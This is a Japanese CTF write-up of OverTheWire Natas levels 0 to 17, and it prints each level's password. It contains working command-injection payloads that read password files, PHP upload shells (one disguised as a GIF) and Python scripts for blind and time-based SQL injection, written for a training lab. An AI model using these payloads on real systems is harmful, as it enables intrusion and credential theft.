[CTF] OverTheWire Natas 0 to17 Writeup

ウェブセキュリティを扱った[OverTheWire Natas](https://overthewire.org/wargames/natas/)のLevel 0 ~ 17までの解法

## natas0

開発者ツールでソースを確認するだけ

```html:index.html
<body>
<h1>natas0</h1>
<div id="content">
You can find the password for the next level on this page.

<!--The password for natas1 is g9D9cREhslqBKtcA2uocGHPfMZVzeFK6 -->
</div>
</body>
```

## natas1

右クリックが禁止されているが、F12キーで開発者ツールを開ける

```html:index.html
<body oncontextmenu="javascript:alert('right clicking has been blocked!');return false;">
<h1>natas1</h1>
<div id="content">
You can find the password for the
next level on this page, but rightclicking has been blocked!

<!--The password for natas2 is h4ubbcXrWqsTo7GGnnUMLppXbOogfBZ7 -->
</div>
</body>
```

## natas2

`files`というフォルダがあることに注目して、その[フォルダ](http://natas2.natas.labs.overthewire.org/files/)の中を確認すると、`users.txt`の中にパスワードがある。

```files/users.txt
# username:password
alice:BYNdCesZqW
bob:jw2ueICLvT
charlie:G5vCxkVV3m
natas3:G6ctbMJ5Nb4cbFwhpMPSvxGHhQ7I6W8Q
eve:zo4mJWyNj2
mallory:9urtcpzBmH
```

## natas3

natas2に似ているがどんなフォルダがあるのかわからない。そこでwebページのフォルダ構成などを自動で探索する`dirb`コマンドなどを用いて隠しフォルダを探す。

```
dirb http://natas3.natas.labs.overthewire.org -u natas3:<passwd>
```

`s3cr3t`というフォルダを発見でき、その中の`users.txt`にパスワードが書いてある。

```s3cr3t/users.txt
natas4:tKOcJIbzM4lTs8hbCmzn5Zr4434fGZQm
```

## natas4

natas5のページから来なければいけないので、`curl`の`-e`オプションを使ってreference URLを指定する

```bash
curl -u natas4:<passwd> -e http://natas5.natas.labs.overthewire.org/ http://natas4.natas.labs.overthewire.org 
```

```
<body>
<h1>natas4</h1>
<div id="content">

Access granted. The password for natas5 is Z0NsrtIkJoKALBCLi5eqFfcRN82Au2oD
<br/>
<div id="viewsource"><a href="index.php">Refresh page</a></div>
</div>
</body>
```

## natas5

ページにアクセスすると`Access disallowed. You are not logged in`と表示される。開発者ツールでcookieを確認すると`loggedin=0`になっているので、1に書き換える。

```
Access granted. The password for natas6 is fOIvE0MDtPTgRhqmmvvAOt2EfXR6uQgR
```

## natas6

まずソースを確認する。

```php:index-source.html
<?

include "includes/secret.inc";

    if(array_key_exists("submit", $_POST)) {
        if($secret == $_POST['secret']) {
        print "Access granted. The password for natas7 is <censored>";
    } else {
        print "Wrong secret";
    }
    }
?>
```

`includes/secret.inc`を開くと、`$secret`の値がハードコーディングされているので、これを入力する

```php:includes/secret.inc
<?
$secret = "FOEIUWGHFEEUHOFUOIU";
?>
```

```
Access granted. The password for natas7 is jmxSiH3SP6Sonf8dv66ng8v1cIEdjXWr
```

## natas7

`page`で指定されたファイルを開いて表示しているようなので、`http://natas7.natas.labs.overthewire.org/index.php?page=/etc/natas_webpass/natas8`にアクセスすればよい、

```
a6bZCNYwdKqN5cGP11ZdtPg0iImQQhAB
```

## natas8

```php:index-source.html
<?

$encodedSecret = "3d3d516343746d4d6d6c315669563362";

function encodeSecret($secret) {
    return bin2hex(strrev(base64_encode($secret)));
}

if(array_key_exists("submit", $_POST)) {
    if(encodeSecret($_POST['secret']) == $encodedSecret) {
    print "Access granted. The password for natas9 is <censored>";
    } else {
    print "Wrong secret";
    }
}
?>
```

`bin2hex(strrev(base64_encode($secret))) == 3d3d516343746d4d6d6c315669563362`を満たすような`$secret`を求めればよい。`bin2hex(strrev(base64_encode($secret)))`の逆関数は、`hexをbinに変換 -> 文字列を反転 -> base64デコード`であるので、これを以下のようにpythonで実装する。


```python
import base64

base64.b64decode(bytes.fromhex('3d3d516343746d4d6d6c315669563362').decode()[::-1])

# >>> b'oubWYf2kBq'
```

この`oubWYf2kBq`を入力すればよい

```
Access granted. The password for natas9 is Sda6t0vkOPkM8YeOZkAGVhFoaplvlJFd
```

## natas9

```php:index-source.html
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}
?>
</pre>
```
`grep -i $key dictionary.txt`に注目すると、我々は`$key`を好きに入力できる。例えば`; cat /etc/natas_webpass/natas10;`を入力すると、コマンドは`;`で分割されるので、`cat /etc/natas_webpass/natas10`を実行できる。

```
Output:
D44EcsFkLxPIkAAKLosx8z3hxX1Z4MCE
```

## natas10

`/[;|&]/`が使えないので、前回のようなインジェクションができない。

```php:index-source.html
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}
?>
</pre>
```

しかし、`grep`は複数ファイルの検索ができるので、パスワードに含まれていそうな文字を`-i`オプションで指定して、`dictionary.txt`だけでなく`/etc/natas_webpass/natas11`の検索も行えばよい。例えば`a /etc/natas_webpass/natas11`を窓に入力すると、

```
/etc/natas_webpass/natas11:1KFqoJXi6hRaPluAmk8ESDW4fSysRoIg
```

を得られる

## natas11

```php:index-source.html
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");

function xor_encrypt($in) {
    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

function loadData($def) {
    global $_COOKIE;
    $mydata = $def;
    if(array_key_exists("data", $_COOKIE)) {
    $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
    if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
        if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
        $mydata['showpassword'] = $tempdata['showpassword'];
        $mydata['bgcolor'] = $tempdata['bgcolor'];
        }
    }
    }
    return $mydata;
}

function saveData($d) {
    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

$data = loadData($defaultdata);

if(array_key_exists("bgcolor",$_REQUEST)) {
    if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
        $data['bgcolor'] = $_REQUEST['bgcolor'];
    }
}

saveData($data);



?>

<h1>natas11</h1>
<div id="content">
<body style="background: <?=$data['bgcolor']?>;">
Cookies are protected with XOR encryption<br/><br/>

<?
if($data["showpassword"] == "yes") {
    print "The password for natas12 is <censored><br>";
}

?>

<form>
Background color: <input name=bgcolor value="<?=$data['bgcolor']?>">
<input type=submit value="Set color">
</form>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
```

`$data["showpassword"] == "yes"`を満たすのが最終目標であり、この`data`は`json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true)`によって生成されている。我々に分かっている情報は以下の通りである。

- cookieを開発者ツールで確認すると、`data=MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY%3D`である

- `xor_encrypt`では、入力された平文Pのi文字目を、鍵Kを用いて、暗号文Cに変換している

```
C[i] = P[i] ^ K[i % len(K)]
```

- `data`のデフォルト値は`{"showpassword":"no", "bgcolor":"#ffffff"}`である。

`K[i % len(K)] = C[i] ^ P[i]`であることに注目すると、`K`を復元することができる。

```python
ct = base64.b64decode('MGw7JCQ5OC04PT8jOSpqdmkgJ25nbCorKCEkIzlscm5oKC4qLSgubjY=').decode()
pt = '{"showpassword":"no","bgcolor":"#ffffff"}'

key_ = ""
for c1, c2 in zip(ct, pt):
    key_ += chr( ord(c1) ^ ord(c2) )

# key_ is KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK
```

`key_`は`KNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLKNHLK`であるので、繰り返し構造から`K`は`KNHL`と分かる。これを用いて`'{"showpassword":"yes","bgcolor":"#ffffff"}'`をエンコードし、`$data["showpassword"] == "yes"`を満たすようなcookieの値を生成する。

```Python
key = 'KNHL'
dummy_ct = ""
dummy_data = '{"showpassword":"yes","bgcolor":"#ffffff"}'
for i in range(len(dummy_data)):
    dummy_ct += chr(ord(dummy_data[i]) ^ ord(key[i % len(key)]))
    
base64.b64encode(dummy_ct.encode())
# >>> b'MGw7JCQ5OC04PT8jOSpqdmk3LT9pYmouLC0nICQ8anZpbS4qLSguKmkz'
```

開発者ツールでcookieを書き換えた後、searchボタンを押すと以下のパスワードを得る。

```
The password for natas12 is YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG
```

## natas12

```php:index-source.html
<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);


        if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
```

パスワードを表示するphpファイルをアップロードし、それにアクセスすればよい

```php:natas12.php
<?php
 
$cmd = 'cat  /etc/natas_webpass/natas13';
exec($cmd, $opt);
print_r($opt);

 
?>
```

ただし、アップロードされたファイルの名前がランダムなものに置き換えられることに注意する。


```python
session1 = requests.Session()

url = "http://natas12.natas.labs.overthewire.org/"
user = "natas12"
passw = "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG"

response = session1.post(url,
                         files = { "uploadedfile" : open('natas12.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
                         auth = (user, passw) )
print(response.text)
```

```
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas12", "pass": "YWqo0pjpcXzSIl5NMAVxg12QxeC1w9QG" };</script></head>
<body>
<h1>natas12</h1>
<div id="content">
The file <a href="upload/7oncdtchl6.php">upload/7oncdtchl6.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
```

アップロードしたphpファイルにアクセスして、コマンドを実行させる。

```python
response = session1.post(url + "upload/7oncdtchl6.php",
                         files = { "uploadedfile" : open('natas12.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" },
                         auth = (user, passw) )
print(response.text)
```

```
Array
(
    [0] => lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9
)
```

## natas13

natas12と違って`exif_imagetype`関数をつかって、アップロードされたファイルが画像かどうかをチェックしている。

```php:index-source.html
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

<?php

function genRandomString() {
    $length = 10;
    $characters = "0123456789abcdefghijklmnopqrstuvwxyz";
    $string = "";

    for ($p = 0; $p < $length; $p++) {
        $string .= $characters[mt_rand(0, strlen($characters)-1)];
    }

    return $string;
}

function makeRandomPath($dir, $ext) {
    do {
    $path = $dir."/".genRandomString().".".$ext;
    } while(file_exists($path));
    return $path;
}

function makeRandomPathFromFilename($dir, $fn) {
    $ext = pathinfo($fn, PATHINFO_EXTENSION);
    return makeRandomPath($dir, $ext);
}

if(array_key_exists("filename", $_POST)) {
    $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

    $err=$_FILES['uploadedfile']['error'];
    if($err){
        if($err === 2){
            echo "The uploaded file exceeds MAX_FILE_SIZE";
        } else{
            echo "Something went wrong :/";
        }
    } else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
        echo "File is too big";
    } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
        echo "File is not an image";
    } else {
        if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
            echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
        } else{
            echo "There was an error uploading the file, please try again!";
        }
    }
} else {
?>

<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<?php print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
```

しかし、`exif_imagetype`はファイルの先頭バイトのみを見て画像ファイルかどうかを判定しているので、natas12でアップロードしたphpファイルの先頭に画像を表すバイト列を付け足してアップロードすればよい

画像(GIF形式)に偽装したphpファイル

```php:natas13.php
GIF89a
<?php
 
$cmd = 'cat  /etc/natas_webpass/natas14';
exec($cmd, $opt);
print_r($opt);
 
?>
```

ファイルのアップロード

```python
import requests
import re

url = "http://natas13.natas.labs.overthewire.org/"
user = "natas13"
passw = "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

response = session1.post(url, files = { "uploadedfile" : open('natas13.php', 'rb') },
                         data = { "filename" : "natas12.php", "MAX_FILE_SIZE" : "1000" }, auth = (user, passw) )
print(response.text)
```

```
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas13", "pass": "lW3jYRI02ZKDBb8VtQBU1f6eDRo6WEj9" };</script></head>
<body>
<h1>natas13</h1>
<div id="content">
For security reasons, we now only accept image files!<br/><br/>

The file <a href="upload/wyfyln6xup.php">upload/wyfyln6xup.php</a> has been uploaded<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
```

アップロードしたファイルにアクセスして、パスワードを表示させるコマンドを実行させる。

```python
result = session1.post(url + "upload/wyfyln6xup.php", auth = (user, passw) )
print(result.text)

# >>> GIF89a\nArray\n(\n    [0] => qPazSJBmrmU7UQJv17MHk1PGC4DxZMEP\n)\n'
```

## natas14

```php
<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>
```

`SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]`に注目する。`username`と`password`には任意の文字列を挿入できる。そこで、例えば`username=" OR "1" = "1`と`password=" OR "1" = "1`とすると、実行されるSQL文は以下のようになる。

```
SELECT * from users where username="" OR "1" = "1" and password="" OR "1" = "1"
```

このwhere句は常にTrueとなるので、この`username`と`password`を入力すればよい

```
Successful login! The password for natas15 is TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB
```

## natas15

SQL文を実行し、結果が1行以上あれば`This user exists.`を表示し、そうでない場合は`This user doesn't exist.`を表示する。

```php
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>
```

今我々は`username`に好きな文字列を挿入できるので、例えば`username=natas16" and password like binary "%{c}%`とすると、実行されるSQL文は`SELECT * from users where username="natas16" and password like binary "%{c}%"`となり、natas16のpasswordに`c`が含まれる場合のみ`This user exists.`が表示される。

この性質を利用して、まずnatas16のパスワードに含まれている文字を抽出する。

```python
import requests
import re
import string
import tqdm

url = "http://natas15.natas.labs.overthewire.org/"
user = "natas15"
passw = "TTkaI7AWG4iDERztBcEyKV7kRXH1EZRB"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
    response = session1.post(url,
                             data = {'username' : f'natas16" and password like binary "%{c}%'},
                             auth = (user, passw) )
    if "This user exists." in response.text:
        chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
```

```
all ascii letters:  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:20<00:00,  2.96it/s]
chracters_used_in_passwd:  ['a', 'd', 'f', 'g', 'i', 'j', 'k', 'l', 'q', 'r', 'u', 'A', 'D', 'E', 'H', 'O', 'P', 'R', 'T', 'V', 'Z', '2', '3', '5', '7', '9']
```

次に、これらの文字の組み合わせがパスワードに含まれているかを確認し、パスワードを完全に復元する。

```python
restored_passw = ""
for _ in tqdm.tqdm(range(32)):
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = session1.post(url,
                                 data = {'username' : f'natas16" and password like binary "{tmp_passw}%'},
                                 auth = (user, passw) )
        if "This user exists." in response.text:
            restored_passw = tmp_passw
print("final result: ", restored_passw)
```

```
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [04:18<00:00,  8.08s/it]
final result:  TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V
```


なお、`LIKE`ではなく`LIKE BINARY`を使うことで大文字と小文字を区別するようにしている。また`%c%`では文字列のどこかに`c`が含まれている場合にTrueとなるが、`c%`の場合は文字列が`c`から始まる場合のみTrueとなることに注意されたい。

## natas16

入力された文字列を`grep`コマンドで検索している。

```php:index-souce.html
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
```

発想は前回と同様であり、パスワードに含まれる文字列を検索した時とそうでないときで画面出力が変わるようなコマンドをインジェクトする。適当な単語で検索すると、`Africans`と単語が辞書に含まれており、さらに`Africans`を部分文字列として含むような単語は辞書に登録されていないことが分かる。この時、`grep Africans$(grep {char} /etc/natas_webpass/natas17) dictionary.txt`というコマンドは`char`が`/etc/natas_webpass/natas17`に**含まれてない**ときのみ`Africans`を返す。

```python
url = "http://natas16.natas.labs.overthewire.org/"
user = "natas16"
passw = 'TRD7iZrd5gATjj9PkPEuaOlfEjHqj32V'

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):  
    response = requests.get(url + f"?needle=Africans$(grep {c} /etc/natas_webpass/natas17)",
                      auth = (user, passw))  

    if 'Africans' not in response.text:  
        chracters_used_in_passwd.append(c)  
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
```

```
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:38<00:00,  1.63it/s]
chracters_used_in_passwd:  ['b', 'd', 'h', 'k', 'm', 'n', 's', 'u', 'v', 'B', 'C', 'E', 'H', 'I', 'K', 'L', 'R', 'S', 'U', 'X', '0', '1', '7', '9']
```

パスワードに含まれている文字のリストを得ることができたら、natas16と同様にそれらを結合したものがパスワードに含まれているかをチェックする。

```python
restored_passw = ""
for i in tqdm.tqdm(range(32)):  
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = requests.get(url + f"?needle=Africans$(grep ^{tmp_passw} /etc/natas_webpass/natas17)",
                          auth = (user, passw))   
    
        if 'Africans' not in r.text:  
            restored_passw = tmp_passw
print("final result: ", restored_passw)
```

```
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [03:51<00:00,  7.24s/it]
final result:  XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd
```

## natas 17

natas15に似ているが、画面出力部分がコメントアウトされていて、どんな入力を送っても結果は表示されない。

```php
<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas17', '<censored>');
    mysqli_select_db($link, 'natas17');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>
```

SQLクエリ自体は実行されているので、time-based SQL injectionを試す。natas15で用いたコードを少し改変し、SQLクエリの条件句に`sleep(1)`を加えることで、パスワードに検索対象の文字が含まれていた場合は1秒待機するようにする。よって、結果が返ってくるまでの時間が1秒以上かかっている場合には、検索した文字がパスワードに含まれていたと判断できる。

```python
import requests
import re
import string
import tqdm

url = "http://natas17.natas.labs.overthewire.org/"
user = "natas17"
passw = "XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd"

response = requests.get(url, auth=(user, passw))
session1 = requests.Session()

characters = ''.join([string.ascii_letters,string.digits])
print("all ascii letters: ", characters)

chracters_used_in_passwd = []
for c in tqdm.tqdm(characters):
    response = session1.post(url,
                             data = {'username' : f'natas18" and password like binary "%{c}%" and sleep(1) and "1" = "1'},
                             auth = (user, passw) )
    if(response.elapsed.seconds >= 1):  
        chracters_used_in_passwd.append(c)
print("chracters_used_in_passwd: ", chracters_used_in_passwd)
```

```
all ascii letters:  abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
100%|██████████████████████████████████████████████████████████████████████████████████| 62/62 [00:43<00:00,  1.43it/s]
chracters_used_in_passwd:  ['a', 'g', 'k', 'n', 'o', 'q', 'u', 'v', 'w', 'x', 'D', 'E', 'F', 'G', 'J', 'L', 'N', 'P', 'Q', 'U', 'V', 'Z', '4', '6', '8']
```

パスワードに含まれている文字のリストから、パスワードそのものを復元するコードもnatas15のコードを同様に改変すればよい。

```python
restored_passw = ""
for _ in tqdm.tqdm(range(32)):
    for c in chracters_used_in_passwd:
        tmp_passw = restored_passw + c
        response = session1.post(url,
                                 data = {'username' : f'natas18" and password like binary "{tmp_passw}%" and sleep(1) and "1" = "1'},
                                 auth = (user, passw) )
        if(response.elapsed.seconds >= 1):  
            restored_passw = tmp_passw
            break
print("final result: ", restored_passw)
```

```
100%|██████████████████████████████████████████████████████████████████████████████████| 32/32 [02:42<00:00,  5.08s/it]
final result:  8NEDUUxg8kFgPV84uLwvZkGn6okJQ6aq
```